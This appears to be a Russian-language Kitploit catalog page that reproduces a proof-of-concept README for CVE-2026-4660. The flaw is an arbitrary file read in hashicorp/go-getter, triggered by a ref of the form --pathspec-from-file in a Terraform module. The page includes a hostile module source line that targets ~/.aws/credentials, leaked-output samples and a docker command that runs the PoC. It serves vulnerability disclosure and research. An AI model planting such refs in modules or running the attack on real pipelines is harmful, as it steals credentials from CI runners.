Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-4660-PoC — PoC для CVE-2026-4660: произвольное чтение файлов через git checkout в hashicorp/go-getter | Kitploit
Инструменты/GitHubGitHub/gouldnicholas/cve-2026-4660-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийБезопасность облачных средDevSecOpsБезопасность Цепочки Поставок
GitHubgouldnicholas/cve-2026-4660-poc

CVE-2026-4660-PoC

PoC для CVE-2026-4660: произвольное чтение файлов через git checkout в hashicorp/go-getter

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-4660 PoC

Proof of concept для CVE-2026-4660 (уведомление HashiCorp) в hashicorp/go-getter. Я — автор первоначального сообщения.

Злоумышленник публикует Terraform-модуль с ref вида --pathspec-from-file=/path/to/file. Когда жертва запускает terraform init, go-getter клонирует репозиторий и вызывает git checkout --pathspec-from-file=/path/to/file. Git построчно читает целевой файл, завершается ошибкой на каждой строке как на pathspec и выводит содержимое в сообщении об ошибке. Вредоносный ref находится внутри исходного кода модуля злоумышленника, а не в конфигурации самой жертвы. terraform init завершается ошибкой загрузки модуля; значения учётных данных появляются встроенными в ошибки pathspec git в выводе. apply не требуется.

Уязвимость существует в двух путях выполнения кода в библиотеке go-getter. clone() используется, когда целевой каталог отсутствует; — когда он существует. Оба вызывают один и тот же . откладывает при ошибке; — нет, поэтому каталог сохраняется после неудачного checkout.

update()
checkout()
clone()
os.RemoveAll(dst)
update()

Установщик модулей Terraform (initwd/module_install.go:251) всегда вызывает os.RemoveAll для целевого каталога перед вызовом go-getter, поэтому Terraform всегда запускает clone(). Packer, Nomad и любой инструмент, вызывающий API go-getter напрямую для уже существующего каталога, вместо этого запускают update(). PoC демонстрирует оба пути.

Затрагивает все инструменты, использующие go-getter: например, Terraform, Nomad, Packer, Waypoint.

Исправлено в: go-getter v1.8.6 (по состоянию на 2026-04-10 ещё нет релиза Terraform, включающего исправление) Серьёзность: 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Сценарий атаки

Злоумышленник публикует на GitHub легитимно выглядящий Terraform-модуль, например модуль AWS VPC с реальным рабочим кодом. Внутри, в глубине, исходный код подмодуля указывает на второй репозиторий, контролируемый злоумышленником, с вредоносным ref:

root@kitploit:~
# внутри модуля злоумышленника; жертва никогда не читает этот файл
module "internal" {
  source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
}

Жертва добавляет модуль верхнего уровня в свою конфигурацию:

root@kitploit:~
module "vpc" {
  source  = "git::https://github.com/attacker/tf-aws-vpc.git"
}

Она запускает terraform init — локально или в CI. go-getter клонирует модуль верхнего уровня, находит вложенный подмодуль, клонирует и его, и вызывает git checkout --pathspec-from-file=/home/runner/.aws/credentials. Git читает файл, и содержимое появляется в выводе ошибки terraform:

root@kitploit:~
│ Error: Failed to download module
│
│   error: pathspec 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' did not match any file(s) known to git
│   error: pathspec 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' did not match any file(s) known to git

Примечание: [default] удаляется рендерером colorstring в terraform даже с -no-color (интерпретируется как токен сброса стиля) и в реальном выводе выглядит как пустой pathspec ''. Сырой вывод git checkout в PoC показывает неизменённое содержимое.

Атака не ограничивается файлами учётных данных. Любой файл, читаемый процессом, является целью: /etc/passwd, файлы токенов CI, конфигурации приложений — всё, что доступно из runner. PoC демонстрирует ~/.aws/credentials, ~/.ssh/id_rsa и /etc/passwd.

В GitHub Actions, CircleCI или любой CI-системе, которая логирует вывод terraform init, эти логи доступны всем, у кого есть доступ к репозиторию, и часто экспортируются в системы агрегации логов (Datadog, Splunk и т. д.) без срока действия. Учётные данные AWS жертвы, SSH-ключи или любой другой файл, читаемый runner, попадают в историю логов. Жертва видит неудачную сборку; значения учётных данных скрыты в том, что выглядит как ошибка git.

Требования

  • Docker

Запуск

root@kitploit:~
docker compose up --build

Два контейнера: gitserver обслуживает голые git-репозитории злоумышленника по HTTP, poc запускается от пользователя runner с фейковыми учётными данными в ~/.aws/credentials, ~/.ssh/id_rsa и читаемым /etc/passwd. Фаза 1 запускает terraform init и демонстрирует путь clone(); контрольная проверка подтверждает, что каталоги модулей удаляются отложенным RemoveAll в clone() при ошибке. Фаза 2 напрямую выполняет последовательность вызовов update() в go-getter (fetch + checkout), чтобы показать, что та же уязвимость checkout() срабатывает и что каталог сохраняется, что согласуется с отсутствием отложенного RemoveAll в update(). Взаимодействие не требуется.

Уязвимые версии

  • Terraform v1.14.8 (последняя стабильная, go-getter v1.8.2)
  • go-getter v1.8.2 — v1.8.5
  • Git 2.45.4
Скачать инструмент